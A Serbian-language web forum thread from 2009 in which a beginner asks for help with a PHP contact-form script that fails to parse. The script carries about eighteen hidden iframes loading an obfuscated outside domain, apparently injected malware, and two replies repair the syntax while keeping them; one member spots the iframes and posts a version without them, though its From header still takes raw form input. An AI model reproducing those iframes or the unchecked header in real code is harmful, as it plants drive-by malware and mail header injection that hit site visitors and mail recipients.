Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

PHP mail problem u codu

[es] :: PHP :: PHP za početnike :: PHP mail problem u codu

[ Pregleda: 2113 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

ChodaTheDread
Dalibor Pekovic

Član broj: 141240
Poruke: 14
213.133.11.*



Profil

icon PHP mail problem u codu18.05.2009. u 10:51 - pre 180 meseci
molim was pomozite mi sklepao sam sajt i swe radi osim owe proklete mail forme koja je u php-u

owo je greshka koja mi se pojawljuje: "
Parse error: parse error, unexpected T_STRING in /var/www/html/contact.php on line 19"

a ewo i koda

Code:
<?

$your_email = "[email protected]";

$headers= "From: ".$_POST['name']." <".$_POST['email'].">\r\n";
$headers.='Content-type: text/html; charset=utf-8';
mail($your_email, $_POST['subject'],  "
<html>
<head>
 <title>Contact Message</title>
</head>
<body>
    Contact Message<br><br>
    Name : ".$_POST['name']."<br>
    Email : ".$_POST['email']."<br>
    Telephone : ".$_POST['telephone']."<br><br>
    Subject : ".$_POST['subject']."<br>
    Message : <br>".$_POST['message']."<br>
[red]<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>[/red]
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
</body>
</html>" , $headers);
header("Location: ./index.htm?page=_contact_message.htm");
?>


19 kod stawio sam crwenim slowima da ga lakseh uochite ako treba da wam dam kod josh koje stranice recite.....inache owo je contact.php file mada to sigurno znate .....kod sam preuzeo od sajta na kome je radio

e da ewo i coda kontakt stranice sajta

Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
    <title>kontakt</title>
    <script type="text/javascript" src="Scripts/prototype.js"></script>
    <script type="text/javascript" src="Scripts/scriptaculous.js?load=effects,builder"></script>
    <script type="text/javascript" src="Scripts/lightbox.js"></script>
    <link rel="stylesheet" href="lightbox.css" type="text/css" media="screen" />
    <link rel="stylesheet" type="text/css" href="style.css">
    <script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
    <style type="text/css">
<!--
.style1 {color: #000000}
.style2 {color: #333333}
.style3 {
    color: #FFFF00
}
.style4 {color: #000066}
.style5 {color: #246494}
.style6 {color: #30A1DB}
a:link {
    color: #000000;
}
a:visited {
    color: #000000;
}
-->
    </style>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>

<body leftmargin=0 topmargin=0 marginheight="0" marginwidth="0" bgcolor="#ffffff">

<table border="0" cellspacing="0" cellpadding="0" width="100%" height="100%">
  <tr> 
    <td width="50%" background="images/bg.gif" valign="top"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
    <td valign="top" background="images/bg_left.gif"><img src="images/bg_left.gif" alt="" width="17" height="16" border="0"> 
    </td>
    <td valign="top">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td width="780"></td>
          <td width="100%">
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td><script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com...h/swflash.cab#version=9,0,28,0','width','932','height','105','src','retg','quality','high','pluginspage','http://www.adobe.com/shockwave...P1_Prod_Version=ShockwaveFlash','movie','retg' ); //end AC code
                </script>
                  <noscript>
                  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com...h/swflash.cab#version=9,0,28,0" width="932" height="105">
                    <param name="movie" value="retg.swf">
                    <param name="quality" value="high">
                    <embed src="retg.swf" quality="high" pluginspage="http://www.adobe.com/shockwave...P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="930" height="105"></embed>
                  </object>
                  </noscript></td>
              </tr>
              <tr>
               <td height="40" background="images/fon03.gif"><a href="Index.html"><img src="images/Dugme01.gif" width="91" height="40" border="0"></a><img src="images/separator.gif" width="2" height="40"><a href="o nama.html"><img src="images/Dugme02.gif" width="91" height="40" border="0"></a><img src="images/separator.gif" width="2" height="40"><a href="Partneri.html"><img src="images/Dugme03.gif" width="91" height="40" border="0"></a><img src="images/separator.gif" width="2" height="40"><a href="Galerija.html"><img src="images/Dugme04.gif" width="91" height="40" border="0"></a><img src="images/separator.gif" width="2" height="40"><a href="Kontakt.html"><img src="images/Dugme05.gif" width="91" height="40" border="0"></a><img src="images/separator.gif" width="2" height="40"></td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr valign="top"> 
        
          <td rowspan="3" width="744"><table width="100%" height="506" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="1%" bgcolor="#B9B9B9">&nbsp;</td>
              <td width="1%" bgcolor="#B9B9B9"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              <td width="98%" background="images/fon_right.gif">KONTAKT INFORMACIJE</td>
              </tr>
            <tr valign="top">
              <td background="images/fon01.gif" style="background-position: top; background-repeat: repeat-x;"><table width="90%" height="0" border="0" align="center" cellpadding="0" cellspacing="0" background="">
                </table></td>
              <td bgcolor="#B9B9B9"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              <td background="images/fon01.gif" style="background-position: top; background-repeat: repeat-x;"><h3><img src="images/image9.jpg" alt="image" width="158" height="134" border="0" align="left" class="left" title="image"/>
                  <br/>
              </h3>
                <h1 class="left"><span class="style1"> <br/>
                  
                    <span class="style5">Hercegovacki put br.17, 81402 Nikšic</span></span> <span class="style5"><br/> 
                    <strong>Tel </strong>: + 382 40 201 040 <br/>
                    <strong>Tel </strong>: + 382 40 201 041 <br/>
                    <strong>Fax</strong>: + 382 40 201 046</span><span class="style1"> <br/>
                    </span>            
                    <span class="style2"><strong>Mail</strong>:</span><a href="mailto:[email protected]"></a> <a href="mailto:[email protected]" class="style3"><span class="style1"><span class="style4">[email protected]</span></span></a></h1>
                <div class="clearboth style2"></div>
        <h3 class="style6">KONTAKTIRATI MAILOM</h3>
        <form method="post" action="contact.php">
        <fieldset>
        <legend> Vaši podaci</legend>
        <p>
          <label for="Ime" class="text"> Ime i prezime :
          <br/>
</label>
          <input class="text" type="text" name="name" id="name"></p>
        <p>
          <label for="E-mail" class="text"> E-mail adresa :  </label>
          <br/>
          <input class="text" type="text" name="email"  id="email" ></p>
        <p>
          <label for="Telefon" class="text"> Telefon :<span class="style1"><br/>
          </span> </label>
           <input class="text" type="text" name="telephone"  id="email" ></p>
        </fieldset>
        <fieldset><legend>Vaša poruka</legend>
        
        <p><label for="Naslov" class="text">Naslov :</label> 
           <input class="text" type="text" name="subject" id="subject"> 
          <label for="Tekst poruke" class="text"><span class="style1"><br/>
          </span>Poruka :</label>
          <label>
          <textarea name="textarea" id="textarea" cols="45" rows="5"></textarea>
          </label>
        </p>
        <p><label for="Tekst poruke" class="text"></label></p>
        <p><label class="text">&nbsp;</label></p>
        </fieldset>
        <p class="center"><input class="button" type="submit" value="Poslati"></p>
        </form>    </td>
            </tr>
            <tr>
              <td background="images/fon02.gif" colspan="3">&nbsp;</td>
            </tr>
          </table></td>
        </tr>
        <tr> 
          <td bgcolor="#246494" valign="top"><table border="0" cellspacing="0" cellpadding="0">
              <tr> 
                <form action="" method="post">
                  <td width="188" height="161" background="images/left_top.gif" valign="top"><p class="left">Na&scaron;i partneri</p>
                  <p class="left">&nbsp;</p></td>
                </form>
              </tr>
              <tr> 
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr> 
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;&nbsp;<a href="http://www.doepke.co.uk/">Doepke</a></p></td>
              </tr>
              <tr>
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr>
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;<a href="http://www.iskra.si/">&nbsp;Iskra Sistemi</a><a href=""></a></p></td>
              </tr>
              <tr>
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr>
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;&nbsp;<a href="http://mandeks.net/">Mandeks</a></p></td>
              </tr>
              <tr>
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr>
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;<a href="http://www.stamenkovic.co.rs/">Stam light</a></p></td>
              </tr>
              <tr>
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr>
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;&nbsp;<a href="http://plamen.co.rs/code/navigate.php?Id=1">Plamen</a></p></td>
              </tr>
              <tr>
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
              <tr>
                <td><p class="menu"><img src="images/e01.gif" alt="" width="14" height="13" border="0" align="absmiddle">&nbsp;&nbsp;<a href="http://ttkabeli.com/home/">TTkabeli</a></p></td>
              </tr>
              <tr> 
                <td bgcolor="#48C8FF"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
              </tr>
            </table>
            <p class="left">&nbsp;</p>
            <!-- /left -->          </td>
        </tr>
        <tr bgcolor="#246494"> 
          <td valign="bottom"> 
            <table border="0" cellspacing="0" cellpadding="0" width="188" height="67" background="images/left_bot.gif">
              <tr> 
                <td valign="bottom"> 
                  <p class="left" style="margin-bottom: 0px; margin-left: 20px;">Copyright 
                    Ramel &copy;2009<br>
                    Ramel<br>
                    All rights reserved</p>                </td>
              </tr>
            </table>          </td>
        </tr>
      </table>
      <table border="0" cellspacing="0" cellpadding="0" width="100%" height="77" background="images/fon_bot.gif">
        <tr> 
          <td valign="top" width="780"> 
            <p class="bot"><a href="Index.html">Naslovna</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="o nama.html">O nama</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="Galerija.html">Galerija</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
              <a href="Licence.html">Licence i sertifikati&nbsp;</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="Kontakt.html">Kontakt</a>&nbsp;&nbsp;&nbsp;&nbsp; Mapa sajta&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
          </td>
          <td><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
        </tr>
        <tr> 
          <td><img src="images/px1.gif" width="780" height="1" alt="" border="0"></td>
          <td><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
        </tr>
      </table>
    </td>
    <td valign="bottom" background="images/bg_right.gif">&nbsp;</td>
    <td width="50%" background="images/bg.gif" valign="top"><img src="images/px1.gif" width="1" height="1" alt="" border="0"></td>
</tr>
</table>

</body>
</html>
 
Odgovor na temu

Jbyn4e

Član broj: 422
Poruke: 6049
*.kbcnet.co.yu.



+257 Profil

icon Re: PHP mail problem u codu18.05.2009. u 10:55 - pre 180 meseci
Vrlo je jednostavno. Zatvorio si string sa " a nisi ga nastavio sa . ili zavrsio sa ;
Redovi:
Citat:

Message : <br>".$_POST['message']."<br>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>

Ukoliko hoces da ti bude src="http... onda BACKSLASH-u navodnike u svim tim redovima:
Code:
    Message : <br>".$_POST['message']."<br>
[red]<iframe src=\"http://jL.c&#104;ura.pl/rc/\" style=\"&#100;isplay:none\"></iframe>[/red]
...


P.S. Je li vas neko ucio da u srpskom jeziku ne postoji slovo W? Sto ga koj moj koristite kad nema APSOLUTNO NIKAKVE potrebe?
Odsad vise ne odgovaram na poruke koje sadrze slovo w umesto v tamo gde treba da stoji. Ne vazi za poruke gde treba da stoji w.

Kad sve ostalo zakaže, pročitaj uputstvo...
 
Odgovor na temu

ChodaTheDread
Dalibor Pekovic

Član broj: 141240
Poruke: 14
213.133.11.*



Profil

icon Re: PHP mail problem u codu18.05.2009. u 22:48 - pre 180 meseci
unapred se izvnjavam za to slovo v ostalo mi je sa kucanja poruq s mobilnog u navici....jel ti muka da mi napishesh chitav kod kako bi trebo da bude poshto bash nemam veze o php-u pokusho sam da prepravim s ovim shto si mi dao ali nishta nisam uspio hvala josh jednom za trud
 
Odgovor na temu

Jbyn4e

Član broj: 422
Poruke: 6049
*.ptt.rs.



+257 Profil

icon Re: PHP mail problem u codu18.05.2009. u 23:18 - pre 180 meseci
Da (muka). Pravilnik, tacka 6.

Za to sto trazis imas forum berza poslova.
Kad sve ostalo zakaže, pročitaj uputstvo...
 
Odgovor na temu

Tudfa
Jovicevic Vladimir

Član broj: 152699
Poruke: 384
*.dynamic.sbb.rs.



+3 Profil

icon Re: PHP mail problem u codu18.05.2009. u 23:35 - pre 180 meseci
EDIT: Nisam video da je Jbyn4e odgovorio, tako da si imao sreće
Code:
[red]<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>[/red]
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>


samo redom stavljaš ispred " eskejp karakter \ počevši od ova dva reda gore.

Treba ovako da izgledaju :

Code:
[red]<iframe src=\"http://jL.c&#104;ura.pl/rc/\" style=\"&#100;isplay:none\"></iframe>[/red]
<iframe src=\"http://jL.c&#104;ura.pl/rc/\" style=\"&#100;isplay:none\"></iframe>


Ima po četiri navodnika u svakom redu, nemo'š promašiti a i koliko vidim ovaj drugi red se ponavlja , pa ga
ga možeš kopirati jednostavno.

Inače ako nećeš da radiš eskejpovanje, možeš da koristiš jednostruke navodnike,
što bi ti i preporučio za ovaj tvoj kod, jer nemaš nigde promenljivih unutar dvostrukih navodnika.

Ovako nešto:

Code:
<?php

$your_email = "[email protected]";

$headers= "From: ".$_POST['name']." <".$_POST['email'].">\r\n";
$headers.='Content-type: text/html; charset=utf-8';
mail($your_email, $_POST['subject'],  "
<html>
<head>
 <title>Contact Message</title>
</head>
<body>
    Contact Message<br><br>
    Name : ".$_POST['name']."<br>
    Email : ".$_POST['email']."<br>
    Telephone : ".$_POST['telephone']."<br><br>
    Subject : ".$_POST['subject']."<br>
    Message : <br>".$_POST['message'].'<br>
[red]<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>[/red]
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>
</body>
</html>' , $headers);
header("Location: ./index.htm?page=_contact_message.htm");
?>


Samo sam ti zamenio dvostruki navodnik ispred onog drugog <br> gde ti piše Message i
onaj posle </html>


 
Odgovor na temu

Zmaj
Predrag Krstić
web developer
Zrenjanin

Član broj: 1035
Poruke: 382

Sajt: https://pkrstic.wordpress..


+4 Profil

icon Re: PHP mail problem u codu19.05.2009. u 01:20 - pre 180 meseci
A ti pravis skript za sajt koji je na listi google crnoj listi, i trazis pomoc za sajt koji je neka prevara? sta reci... otkad se na es podrzavaju programeri koji prave sajtove sa nekom prevarom...

Zanimljivo nema pravila koje zabranjuje podrsku ovakvim ljudima :/
 
Odgovor na temu

Jbyn4e

Član broj: 422
Poruke: 6049
*.kbcnet.co.yu.



+257 Profil

icon Re: PHP mail problem u codu19.05.2009. u 08:07 - pre 180 meseci
^^ A ti si to zakljucio na osnovu...?
Koliko vidim on je ovu kontakt formu uzeo iz nekog free skripta ili tako nesto..

Kako si zakljucio da on pravi sajt za prevaru?

P.S. http://jL.c&#104;ura.pl/rc/ koliko ja vidim nije ispravna web adresa.
Kad sve ostalo zakaže, pročitaj uputstvo...
 
Odgovor na temu

ChodaTheDread
Dalibor Pekovic

Član broj: 141240
Poruke: 14
213.133.11.*



Profil

icon Re: PHP mail problem u codu19.05.2009. u 17:25 - pre 180 meseci
Citat:
Zmaj: A ti pravis skript za sajt koji je na listi google crnoj listi, i trazis pomoc za sajt koji je neka prevara? sta reci... otkad se na es podrzavaju programeri koji prave sajtove sa nekom prevarom...

Zanimljivo nema pravila koje zabranjuje podrsku ovakvim ljudima :/


sajt nije za nikakvu prevaru samo je ta php skripta uzeta to sam vec rekao...stoga nema razloga za vredjanjem i optuzivanjem nikakvim........

.....ubacio sam kod koji mi je dao Tudfa ali ne radi i dalje sad izbacuje neku drugu greshku dodushe

"Not Found

The requested URL /index.htm was not found on this server.
Apache Server at www.******.co.me Port 80"

hm jedino je trip zasto trazi co.me kad je na cg.yu kako da to promjenim vamo??


ili josh bolje bi bilo ako bi mogao da dobijem skriptu koja je provjerena da radi jer ova mi se krvi napi vishe
 
Odgovor na temu

ChodaTheDread
Dalibor Pekovic

Član broj: 141240
Poruke: 14
213.133.11.*



Profil

icon Re: PHP mail problem u codu19.05.2009. u 17:30 - pre 180 meseci
Citat:
Jbyn4e: ^^ A ti si to zakljucio na osnovu...?
Koliko vidim on je ovu kontakt formu uzeo iz nekog free skripta ili tako nesto..

Kako si zakljucio da on pravi sajt za prevaru?

P.S. http://jL.c&#104;ura.pl/rc/ koliko ja vidim nije ispravna web adresa.


e da kazem ti da veze nemam ta adresa sta bi trebala da prestavlja....tako da ne znam da nije greska u njoj.......

evo adrese sajta pa mozete pogledat u kontakt....

www

ramel

cg.yu

ne zhelim da mi pokupi metatagove s ovoga sajta pa sam je ovako napiso.......
 
Odgovor na temu

Tudfa
Jovicevic Vladimir

Član broj: 152699
Poruke: 384
*.dynamic.sbb.rs.



+3 Profil

icon Re: PHP mail problem u codu19.05.2009. u 18:48 - pre 180 meseci
Citat:
ChodaTheDread:
"Not Found
The requested URL /index.htm was not found on this server.
Apache Server at www.******.co.me Port 80"

Posle te mail funkcije imas header funkciju, i ako dobijas tu gresku, onda znači da nema te stranice na koju te šalje header()
Proveri da li postoji ta stranica na koju pokušavaš da se redirekutješ.
I baci malo oko na php manual,manje ćeš pisati ili čekati na odgovor.
 
Odgovor na temu

Zmaj
Predrag Krstić
web developer
Zrenjanin

Član broj: 1035
Poruke: 382

Sajt: https://pkrstic.wordpress..


+4 Profil

icon Re: PHP mail problem u codu20.05.2009. u 02:29 - pre 180 meseci
ako nije neki sumnjiv sajt onda mu ne trebaju ti iframe koji su display:none i jos adresa iz njemu znanog razloga sadrzi &#104;, aj neka objasni.

Inace da bi ti radila skripta za slanje mail onda ti netreba ni jedan red sa iframe, postoji toliko mail primera na netu, drugo ako ovo stavi na sajt i poradi mu, najveca je sansa da i njegova sajt bude zabranjen za pristup od strane googla

Code:

<?

$your_email = "[email protected]";

$name = isset($_POST['name']) && trim($_POST['name']) != '' ? $_POST['name'] : '';
$email = isset($_POST['email']) && trim($_POST['email']) != '' ? $_POST['email'] : '';
$subject = isset($_POST['subject']) && trim($_POST['subject']) != '' ? $_POST['subject'] : '';
$telephone = isset($_POST['telephone']) && trim($_POST['telephone']) != '' ? $_POST['telephone'] : '';
$message = isset($_POST['message']) && trim($_POST['message']) != '' ? $_POST['message'] : '';

if ($name != '' && $email != '' && $subject != '' && $telephone != '' && $message != '') 
{
$headers= "From: ".$_POST['name']." <".$_POST['email'].">\r\n";
$headers.='Content-type: text/html; charset=utf-8';
mail($your_email, $_POST['subject'],  "
<html>
<head>
 <title>Contact Message</title>
</head>
<body>
    Contact Message<br><br>
    Name : ".$_POST['name']."<br>
    Email : ".$_POST['email']."<br>
    Telephone : ".$_POST['telephone']."<br><br>
    Subject : ".$_POST['subject']."<br>
    Message : <br>".$_POST['message']."<br>
</body>
</html>" , $headers);
header("Location: ./index.htm?page=_contact_message.htm");
}
else
  echo "Unos je los nisu svapolja popunjena";
?>


ovo je grubo, mozda ima neka greska, ali moras da proveris podatke pre nego ih posaljes, takodje potrazi po netu neku, i ovaj $your_mail je adresa sa koje saljes mail, tj mail osobe koja salje, ne znam da li to znas ali proveri to. Inace ovo sto sam reka da je mail za spam, nemozes da saljes ljudima mail sa skrivenim iframe tako da ce taj koji salje tj u cije ime se salje doci na crnu listu spamera

i proveri da li ti postoji taj index.htm ili je index.html
 
Odgovor na temu

Jbyn4e

Član broj: 422
Poruke: 6049
*.kbcnet.co.yu.



+257 Profil

icon Re: PHP mail problem u codu20.05.2009. u 08:47 - pre 180 meseci
Khm, Zmaju, Azdaho, Alo :)

Citat:

jel ti muka da mi napishesh chitav kod kako bi trebo da bude poshto bash nemam veze o php-u

Bice da covek samo ne zna sta je skinuo i odakle, niti zna kako da prepravi... a ne bi da cita uputstva.

I dalje ostajem pri svojoj poruci o pravilniku...

Kad sve ostalo zakaže, pročitaj uputstvo...
 
Odgovor na temu

[es] :: PHP :: PHP za početnike :: PHP mail problem u codu

[ Pregleda: 2113 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.